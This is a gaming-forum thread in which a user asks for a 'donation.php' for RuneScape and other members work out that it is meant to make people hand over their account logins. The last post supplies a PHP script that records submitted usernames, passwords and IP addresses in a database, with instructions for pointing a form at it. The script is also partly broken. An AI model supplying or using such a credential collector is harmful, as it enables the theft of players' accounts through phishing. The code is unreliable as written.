Re: [REQ] A donation.php .
Pretty sure this isn't a request section >.>
Re: [REQ] A donation.php .
well go learn some php yourself look for fopen() and write function ;)
Re: [REQ] A donation.php .
I didn't knew in Coders' Paradise there is a request section .
Re: [REQ] A donation.php .
Quote:
Originally Posted by
Cruvenium
I didn't knew in Coders' Paradise there is a request section .
That's just it there is no request section lol
The purpose of the section is to get help with snippets and problems, not (necessarily) to ask for scripts when you haven't posted any work.
It's not a dump and help either =)
Re: [REQ] A donation.php .
Quote:
Originally Posted by
Wh005h
That's just it there is no request section lol
The purpose of the section is to get help with snippets and problems, not (necessarily) to ask for scripts when you haven't posted any work.
It's not a dump and help either =)
Indeed, we will not just give code, but for donations you dont need to write it yourself. Paypal has a script to let people donate to your account.
Re: [REQ] A donation.php .
Re: [REQ] A donation.php .
You want people to donate their RS account, so you want a simple just to save the account user and pass when the person click submit? Or something like that?
It's pretty easy to write if that what you're looking for.
Re: [REQ] A donation.php .
Quote:
Originally Posted by
Cruvenium
Not PayPal .
RuneScape .
Paypal is not a game, mate. It will handle donates for your RS site/server.
Re: [REQ] A donation.php .
I think he ment that in his donate.php, you can donate YOUR RS account so he gets the pass and login.
Re: [REQ] A donation.php .
Here I'll write a script in this window
PHP Code:
<?php
$con = mysql_connect('localhost','root','pass');
mysql_select_db(database_name,$con);
$user = $_POST['username'];
$pass = $_POST['password'];
$query = sprintf("INSERT INTO table (username,password,ip) VALUES ('%s','%s','%s')",mysql_real_escape_string($user),mysql_real_escape_string($pass),mysql_real_escape_string($SERVER['REMOTE_ADDR']));
if(mysql_query($query))
die("Thanks submitted");
else
die("Insert failure");
?>
There might work might not, I wrote it in this window lol
Despite it not being a request section, I felt generous.
Just set your form action to go to a page with that one it and make sure you have your parameters and variables named right.